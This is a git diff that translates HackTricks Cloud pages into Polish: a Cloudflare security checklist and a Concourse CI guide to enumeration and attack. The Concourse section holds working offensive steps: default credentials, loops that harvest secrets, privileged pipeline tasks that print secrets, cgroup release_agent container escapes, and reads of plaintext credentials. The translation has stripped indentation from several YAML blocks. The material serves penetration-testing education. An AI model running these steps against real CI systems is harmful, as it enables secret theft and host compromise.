+- [ ] Opcjonalnie można skonfigurować niestandardowe strony, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem)
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] Sprawdź, czy **Obfuskacja adresu e-mail** jest **włączona**
+- [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone**
### **Zaraz**
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..1b585070c 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+W koncie **Cloudflare Zero Trust Network** istnieje kilka **ustawień i usług**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
### Analytics
-- [ ] Useful to **get to know the environment**
+- [ ] Przydatne do **poznania środowiska**
### **Gateway**
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] W **`Policies`** można generować polityki, aby **ograniczyć** dostęp do aplikacji na podstawie **DNS**, **sieci** lub **żądania HTTP**.
+- Jeśli jest używane, **polityki** mogą być tworzone w celu **ograniczenia** dostępu do złośliwych stron.
+- To jest **istotne tylko, jeśli używany jest brama**, w przeciwnym razie nie ma powodu, aby tworzyć polityki obronne.
### Access
#### Applications
-On each application:
+W każdej aplikacji:
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
-- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Sprawdź **kto** może uzyskać dostęp do aplikacji w **Policies** i upewnij się, że **tylko** **użytkownicy**, którzy **potrzebują dostępu** do aplikacji, mogą uzyskać dostęp.
+- Aby umożliwić dostęp, będą używane **`Access Groups`** (można również ustawić **dodatkowe zasady**)
+- [ ] Sprawdź **dostępnych dostawców tożsamości** i upewnij się, że **nie są zbyt otwarci**
+- [ ] W **`Settings`**:
+- [ ] Sprawdź, czy **CORS nie jest włączony** (jeśli jest włączony, sprawdź, czy jest **bezpieczny** i nie pozwala na wszystko)
+- [ ] Ciasteczka powinny mieć atrybut **Strict Same-Site**, **HTTP Only** i **binding cookie** powinien być **włączony**, jeśli aplikacja jest HTTP.
+- [ ] Rozważ również włączenie **renderowania w przeglądarce** dla lepszej **ochrony. Więcej informacji o** [**izolacji przeglądarki zdalnej tutaj**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- [ ] Sprawdź, czy grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać.
+- [ ] Szczególnie ważne jest, aby sprawdzić, czy **domyślna grupa dostępu nie jest zbyt otwarta** (nie **pozwala zbyt wielu osobom**), ponieważ **domyślnie** każdy w tej **grupie** będzie mógł **uzyskać dostęp do aplikacji**.
+- Zauważ, że możliwe jest nadanie **dostępu** do **WSZYSTKICH** i innych **bardzo otwartych polityk**, które nie są zalecane, chyba że są 100% konieczne.
#### Service Auth
-- [ ] Check that all service tokens **expires in 1 year or less**
+- [ ] Sprawdź, czy wszystkie tokeny serwisowe **wygasają w ciągu 1 roku lub mniej**
#### Tunnels
@@ -50,16 +50,12 @@ TODO
### Logs
-- [ ] You could search for **unexpected actions** from users
+- [ ] Możesz szukać **nieoczekiwanych działań** ze strony użytkowników
### Settings
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+- [ ] Sprawdź **typ planu**
+- [ ] Możliwe jest zobaczenie **nazwy właściciela karty kredytowej**, **ostatnich 4 cyfr**, **daty ważności** i **adresu**
+- [ ] Zaleca się **dodanie daty wygaśnięcia miejsca użytkownika**, aby usunąć użytkowników, którzy naprawdę nie korzystają z tej usługi
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..296655765 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse pozwala na **budowanie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...)
-## Concourse Architecture
+## Architektura Concourse
-Learn how the concourse environment is structured in:
+Dowiedz się, jak zbudowane jest środowisko concourse w:
{{#ref}}
concourse-architecture.md
{{#endref}}
-## Concourse Lab
+## Laboratorium Concourse
-Learn how you can run a concourse environment locally to do your own tests in:
+Dowiedz się, jak możesz uruchomić środowisko concourse lokalnie, aby przeprowadzić własne testy w:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Enumerate & Attack Concourse
+## Enumeracja i atak na Concourse
-Learn how you can enumerate the concourse environment and abuse it in:
+Dowiedz się, jak możesz enumerować środowisko concourse i nadużywać go w:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..150b7da4f 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -1,42 +1,38 @@
-# Concourse Architecture
+# Architektura Concourse
-## Concourse Architecture
+## Architektura Concourse
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Istotne dane z dokumentacji Concourse:**](https://concourse-ci.org/internals.html)
-### Architecture
+### Architektura
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: interfejs webowy i harmonogram budowy
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram** pipeline'ów. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
-#### TSA: worker registration & forwarding
+#### TSA: rejestracja pracowników i przekazywanie
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc).
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest za równoważnikiem obciążenia.
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+**TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa).
-#### Workers
+#### Pracownicy
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Aby wykonać zadania, Concourse musi mieć kilku pracowników. Ci pracownicy **rejestrują się** za pośrednictwem [TSA](https://concourse-ci.org/internals.html#component-tsa) i uruchamiają usługi [**Garden**](https://github.com/cloudfoundry-incubator/garden) i [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: To jest **API zarządzania kontenerami**, zazwyczaj uruchamiane na **porcie 7777** przez **HTTP**.
+- **Baggageclaim**: To jest **API zarządzania wolumenami**, zazwyczaj uruchamiane na **porcie 7788** przez **HTTP**.
-## References
+## Odniesienia
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..c08122a95 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -6,213 +6,202 @@
### User Roles & Permissions
-Concourse comes with five roles:
+Concourse ma pięć ról:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: Ta rola jest przyznawana tylko właścicielom **głównego zespołu** (domyślny początkowy zespół concourse). Administratorzy mogą **konfigurować inne zespoły** (np.: `fly set-team`, `fly destroy-team`...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC.
+- **owner**: Właściciele zespołów mogą **modyfikować wszystko w zespole**.
+- **member**: Członkowie zespołu mogą **czytać i pisać** w **zasobach zespołu**, ale nie mogą modyfikować ustawień zespołu.
+- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje na pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.
+- **viewer**: Widzowie zespołu mają **dostęp "tylko do odczytu" do zespołu** i jego pipeline.
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Zauważ, że Concourse **grupuje pipeline w zespoły**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\
+[Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\
+**Opcjonalne \_secret-field**\_ określa pole w pobranym sekrecie do odczytu. Jeśli zostanie pominięte, menedżer poświadczeń może zdecydować się na odczytanie 'domyślnego pola' z pobranych poświadczeń, jeśli pole istnieje.\
+Ponadto, _**secret-path**_ i _**secret-field**_ mogą być otoczone podwójnymi cudzysłowami `"..."`, jeśli **zawierają znaki specjalne** takie jak `.` i `:`. Na przykład, `((source:"my.secret"."field:1"))` ustawi _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
#### Static Vars
-Static vars can be specified in **tasks steps**:
-
+Statyczne zmienne mogą być określone w **krokach zadań**:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
-
Or using the following `fly` **arguments**:
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+- `-v` or `--var` `NAME=VALUE` ustawia ciąg `VALUE` jako wartość dla zmiennej `NAME`.
+- `-y` or `--yaml-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej `NAME`.
+- `-i` or `--instance-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej instancji `NAME`. Zobacz [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), aby dowiedzieć się więcej o zmiennych instancji.
+- `-l` or `--load-vars-from` `FILE` ładuje `FILE`, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie.
-#### Credential Management
+#### Zarządzanie poświadczeniami
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
+Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Ponadto, Concourse obsługuje różne menedżery poświadczeń:
-- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
-- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
-- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
-- [Caching credentials](https://concourse-ci.org/creds-caching.html)
-- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
-- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
+- [Menadżer poświadczeń Vault](https://concourse-ci.org/vault-credential-manager.html)
+- [Menadżer poświadczeń CredHub](https://concourse-ci.org/credhub-credential-manager.html)
+- [Menadżer poświadczeń AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [Menadżer poświadczeń AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Menadżer poświadczeń Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [Menadżer poświadczeń Conjur](https://concourse-ci.org/conjur-credential-manager.html)
+- [Buforowanie poświadczeń](https://concourse-ci.org/creds-caching.html)
+- [Redagowanie poświadczeń](https://concourse-ci.org/creds-redacting.html)
+- [Ponawianie nieudanych pobrań](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu.
-### Concourse Enumeration
+### Enumeracja Concourse
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
-#### Login and Current User enum
+#### Logowanie i enumeracja bieżącego użytkownika
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- Aby się zalogować, musisz znać **punkt końcowy**, **nazwę zespołu** (domyślnie `main`) oraz **zespół, do którego należy użytkownik**:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Uzyskaj skonfigurowane **cele**:
+- `fly targets`
+- Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**:
+- `fly -t status`
+- Uzyskaj **rolę** użytkownika w odniesieniu do wskazanego celu:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> Zauważ, że **token API** jest **zapisywany** w `$HOME/.flyrc` domyślnie, przeszukując maszyny, możesz tam znaleźć poświadczenia.
-#### Teams & Users
+#### Zespoły i użytkownicy
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- Uzyskaj listę zespołów
+- `fly -t teams`
+- Uzyskaj role w zespole
+- `fly -t get-team -n `
+- Uzyskaj listę użytkowników
+- `fly -t active-users`
-#### Pipelines
-
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
+#### Potoki
+- **Lista** potoków:
+- `fly -t pipelines -a`
+- **Uzyskaj** yaml potoku (**wrażliwe informacje** mogą być zawarte w definicji):
+- `fly -t get-pipeline -p `
+- Uzyskaj wszystkie **zmienne konfiguracyjne zadeklarowane w potoku**
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Uzyskaj wszystkie **nazwy sekretów potoków używanych** (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wykradać):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
+#### Kontenery i Pracownicy
-#### Containers & Workers
+- Lista **pracowników**:
+- `fly -t workers`
+- Lista **kontenerów**:
+- `fly -t containers`
+- Lista **budów** (aby zobaczyć, co jest uruchomione):
+- `fly -t builds`
-- List **workers**:
- - `fly -t workers`
-- List **containers**:
- - `fly -t containers`
-- List **builds** (to see what is running):
- - `fly -t builds`
+### Ataki Concourse
-### Concourse Attacks
-
-#### Credentials Brute-Force
+#### Bruteforce poświadczeń
- admin:admin
- test:test
-#### Secrets and params enumeration
+#### Enumeracja sekretów i parametrów
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+W poprzedniej sekcji zobaczyliśmy, jak można **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**.
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
+#### Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera
+Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**), będziesz mógł **wymienić pipeline'y i role** i po prostu uzyskać **sesję wewnątrz** kontenera `/` używając:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+Z tymi uprawnieniami możesz być w stanie:
-With these permissions you might be able to:
+- **Kraść sekrety** wewnątrz **kontenera**
+- Spróbować **uciec** do węzła
+- Enumerować/Abusować punkt końcowy **metadanych chmury** (z podu i z węzła, jeśli to możliwe)
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### Tworzenie/Modyfikacja Pipeline
+Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline'y.** Sprawdź ten przykład:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
+Z **modyfikacją/utworzeniem** nowego pipeline'u będziesz mógł:
-With the **modification/creation** of a new pipeline you will be able to:
+- **Kraść** **sekrety** (poprzez ich wyświetlanie lub dostanie się do kontenera i uruchomienie `env`)
+- **Uciec** do **węzła** (dając ci wystarczające uprawnienia - `privileged: true`)
+- Enumerować/wykorzystać punkt końcowy **metadanych chmury** (z poda i z węzła)
+- **Usunąć** utworzony pipeline
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### Wykonaj niestandardowe zadanie
+To jest podobne do poprzedniej metody, ale zamiast modyfikować/utworzyć cały nowy pipeline, możesz **po prostu wykonać niestandardowe zadanie** (co prawdopodobnie będzie znacznie bardziej **ukryte**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
+#### Ucieczka do węzła z zadania uprzywilejowanego
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+W poprzednich sekcjach zobaczyliśmy, jak **wykonać zadanie uprzywilejowane z concourse**. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana".
+W następującym PoC użyjemy release_agent, aby uciec z pewnymi drobnymi modyfikacjami:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> Jak być może zauważyłeś, to jest po prostu [**zwykłe wyjście z release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) polegające na modyfikacji ścieżki cmd w węźle
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### Ucieczka do węzła z kontenera Worker
+Zwykłe wyjście z release_agent z drobną modyfikacją wystarczy do tego:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Ucieczka do węzła z kontenera Web
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
+Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+Możesz użyć tych poświadczeń do **logowania się do serwera webowego** i **utworzenia uprzywilejowanego kontenera oraz ucieczki do węzła**.
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+W środowisku możesz również znaleźć informacje do **dostępu do instancji postgresql**, z której korzysta concourse (adres, **nazwa użytkownika**, **hasło** i baza danych, między innymi):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak
